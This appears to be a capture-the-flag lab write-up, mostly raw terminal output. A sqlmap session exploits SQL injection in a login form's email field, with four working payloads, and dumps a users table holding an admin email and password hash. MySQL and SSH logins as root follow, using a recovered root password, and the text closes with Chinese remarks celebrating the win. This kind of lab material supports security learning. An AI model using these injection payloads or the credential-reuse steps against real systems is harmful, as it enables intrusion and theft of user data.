[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 05:56:36 /2019-12-15/ [05:56:36] [INFO] parsing HTTP request from 'sqlmap.txt' [05:56:36] [INFO] resuming back-end DBMS 'mysql' [05:56:36] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: email (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: email=124123' OR NOT 3619=3619#&pass=dvfvsdfvsdf&submit=Login&submitted=TRUE
Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: email=124123' AND (SELECT 1325 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(1325=1325,1))),0x7170627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gsUK&pass=dvfvsdfvsdf&submit=Login&submitted=TRUE Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: email=124123' AND (SELECT 5062 FROM (SELECT(SLEEP(5)))bAlG)-- SXBw&pass=dvfvsdfvsdf&submit=Login&submitted=TRUE
Type: UNION query Title: MySQL UNION query (NULL) - 8 columns Payload: email=124123' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170706a71,0x564e4f70794e7171465a644f695056686b6e54576e757163667a7476486252574f76717264665950,0x7170627171),NULL,NULL,NULL,NULL#&pass=dvfvsdfvsdf&submit=Login&submitted=TRUE --- [05:56:36] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0 [05:56:36] [INFO] fetching columns for table 'users' in database 'ch16' [05:56:36] [INFO] used SQL query returns 8 entries [05:56:36] [INFO] resumed: 'user_id','int(10) unsigned' [05:56:36] [INFO] resumed: 'first_name','varchar(20)' [05:56:36] [INFO] resumed: 'last_name','varchar(40)' [05:56:36] [INFO] resumed: 'email','varchar(80)' [05:56:36] [INFO] resumed: 'pass','char(40)' [05:56:36] [INFO] resumed: 'user_level','tinyint(1) unsigned' [05:56:36] [INFO] resumed: 'active','char(32)' [05:56:36] [INFO] resumed: 'registration_date','datetime' [05:56:36] [INFO] fetching entries for table 'users' in database 'ch16' [05:56:36] [INFO] used SQL query returns 1 entry [05:56:36] [INFO] recognized possible password hashes in column 'pass' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n do you want to crack them via a dictionary-based attack? [Y/n/q] n Database: ch16 Table: users [1 entry] +---------+------------------------------------------+------------------+--------+-----------+------------+------------+---------------------+ | user_id | pass | email | active | last_name | first_name | user_level | registration_date | +---------+------------------------------------------+------------------+--------+-----------+------------+------------+---------------------+ | 1 | c2c4b4e51d9e23c02c15702c136c3e950ba9a4af | admin@isints.com | NULL | Privett | Dan | 0 | 2011-05-07 17:27:01 | +---------+------------------------------------------+------------------+--------+-----------+------------+------------+---------------------+ [05:56:39] [INFO] table 'ch16.users' dumped to CSV file '/root/.sqlmap/output/10.10.10.100/dump/ch16/users.csv' [05:56:39] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.100' [*] ending @ 05:56:39 /2019-12-15/
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
www-data@web:/var$ mysql -uroot -proot@ISIntS
Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 9823 Server version: 5.1.54-1ubuntu4 (Ubuntu)
Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved. This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL v2 license
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
root@kali:~# ssh root@10.10.10.100 root@10.10.10.100's password: Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64) * Documentation: http://www.ubuntu.com/server/doc System information as of Sun Oct 20 16:31:46 EDT 2019 System load: 0.0 Processes: 81 Usage of /: 2.9% of 38.64GB Users logged in: 0 Memory usage: 23% IP address for eth0: 10.10.10.100 Swap usage: 0% Graph this data and manage this system at https://landscape.canonical.com/ Last login: Sun Oct 20 16:18:11 2019 from 10.10.10.128 root@web:~# id uid=0(root) gid=0(root) groups=0(root) root@web:~# whoami root
成功,挑战完成!!!够牛批,帅掉渣!!!
不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…